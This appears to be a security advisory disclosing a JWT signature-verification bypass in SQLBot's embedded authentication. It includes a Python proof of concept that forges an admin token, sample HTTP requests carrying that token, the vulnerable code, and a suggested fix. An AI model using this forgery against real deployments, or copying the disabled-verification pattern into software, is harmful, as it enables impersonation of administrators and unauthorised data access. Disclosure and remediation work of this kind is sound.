JWT Signature Verification Bypass in Embedded Authentication of SQLBot
- Vendor: DataEase / FIT2CLOUD
- Product: SQLBot
- Affected Version(s): <= v1.3.0
- Fixed Version: N/A
- CWE ID: CWE-347 (Improper Verification of Cryptographic Signature)
- Type Name: JWT Signature Verification Bypass
SQLBot version 1.3.0 and earlier contains a JWT signature verification bypass vulnerability in the embedded authentication mechanism. The validateEmbedded function explicitly disables both signature verification (verify_signature: False) and expiration verification (verify_exp: False) when decoding JWT tokens, allowing an attacker to forge arbitrary JWT tokens and impersonate any user if they know a valid assistant/embedded ID.
- Impact Description: An attacker who knows a valid embedded/assistant ID can:
- Forge JWT tokens for any user account without knowing the secret key
- Impersonate any user in the system including administrators
- Bypass authentication completely for embedded assistant access
- Access all data and functionality available to the impersonated user
- Attack Vector: Network (Remote)
- Privileges Required: None (only need to know a valid embedded ID)
- Deploy SQLBot application
- Obtain a valid embedded/assistant ID (e.g., from frontend code, shared links, or information disclosure)
The attacker can create a JWT token with any payload without a valid signature:
import jwt
import base64
# Craft malicious payload - impersonate admin user
payload = {
"account": "admin", # Target user account
"appId": "", # Can be empty if embeddedId is provided
"embeddedId": "7401549180704919552" # Valid embedded ID (snowflake ID)
}
# Create JWT without valid signature (signature doesn't matter)
# Using 'none' algorithm or any fake signature
forged_token = jwt.encode(payload, "fake_key", algorithm="HS256")
print(f"Forged Token: Embedded {forged_token}")GET /api/v1/chat/list HTTP/1.1
Host: target-server
x-sqlbot-assistant: Embedded eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhY2NvdW50IjoiYWRtaW4iLCJhcHBJZCI6IiIsImVtYmVkZGVkSWQiOiI3NDAxNTQ5MTgwNzA0OTE5NTUyIn0.FAKE_SIGNATURE_IGNOREDResult: The server accepts the forged token because signature verification is disabled. The attacker is now authenticated as "admin" user.
GET /api/v1/user/pager HTTP/1.1
Host: target-server
x-sqlbot-assistant: Embedded <forged_token>Result: Returns user list as if the attacker were the admin user.
File: backend/apps/system/middleware/auth.py
Lines: 132-172
async def validateEmbedded(self, param: str, trans: I18n) -> tuple[any]:
try:
""" payload = jwt.decode(
param, settings.SECRET_KEY, algorithms=[security.ALGORITHM]
) """
payload: dict = jwt.decode(
param,
options={"verify_signature": False, "verify_exp": False}, # VULNERABLE!
algorithms=[security.ALGORITHM]
)
app_key = payload.get('appId', '')
embeddedId = payload.get('embeddedId', None)
if not embeddedId:
embeddedId = xor_decrypt(app_key)
if not payload['account']:
return False, f"Miss account payload error!"
account = payload['account']
with Session(engine) as session:
# User lookup by account name from untrusted JWT payload
session_user = get_user_by_account(session = session, account=account)
if not session_user:
message = trans('i18n_not_exist', msg = trans('i18n_user.account'))
raise Exception(message)
# ... continues to grant access- Signature Verification Disabled:
verify_signature: Falsemeans the JWT signature is not validated - Expiration Check Disabled:
verify_exp: Falsemeans expired tokens are accepted - User Lookup by Account: The code trusts the
accountfield from the unverified JWT payload - No Additional Validation: There's no secondary validation to ensure the token was legitimately issued
The validateToken function (lines 60-89) correctly validates JWT signatures:
async def validateToken(self, token: Optional[str], trans: I18n):
# ...
payload = jwt.decode(
param, settings.SECRET_KEY, algorithms=[security.ALGORITHM] # SECURE - validates signature
)Enable JWT signature and expiration verification:
async def validateEmbedded(self, param: str, trans: I18n) -> tuple[any]:
try:
# Enable signature and expiration verification
payload: dict = jwt.decode(
param,
settings.SECRET_KEY, # Use the secret key
algorithms=[security.ALGORITHM],
options={"verify_signature": True, "verify_exp": True} # Enable verification
)
# ... rest of the codeAlternative: If embedded tokens are meant to be issued by a different system, use a dedicated secret key for embedded authentication:
payload: dict = jwt.decode(
param,
settings.EMBEDDED_SECRET_KEY, # Dedicated key for embedded auth
algorithms=[security.ALGORITHM],
options={"verify_signature": True, "verify_exp": True}
)| Endpoint | Authentication Type | Severity | Impact |
|---|---|---|---|
| All protected endpoints | Embedded JWT | Critical | Full authentication bypass, user impersonation |
-
Information Gathering: Attacker discovers a valid embedded/assistant ID through:
- Inspecting frontend JavaScript code on sites using SQLBot embedded assistant
- Social engineering
- Information disclosure vulnerabilities
- Shared/public assistant links
-
Token Forgery: Attacker creates a JWT with:
account: "admin" (or any target username)embeddedId: discovered valid ID- Any arbitrary signature (will be ignored)
-
Authentication Bypass: Attacker sends requests with the forged token using
x-sqlbot-assistant: Embedded <forged_token>header -
Full Access: Attacker gains access as the impersonated user, potentially with admin privileges
| Condition | Difficulty |
|---|---|
| Need valid embedded/assistant ID | Medium - Snowflake ID cannot be enumerated, but may be leaked |
| Need valid username | Low - Common usernames like "admin" often exist |
| JWT forgery | Trivial - No cryptographic knowledge required |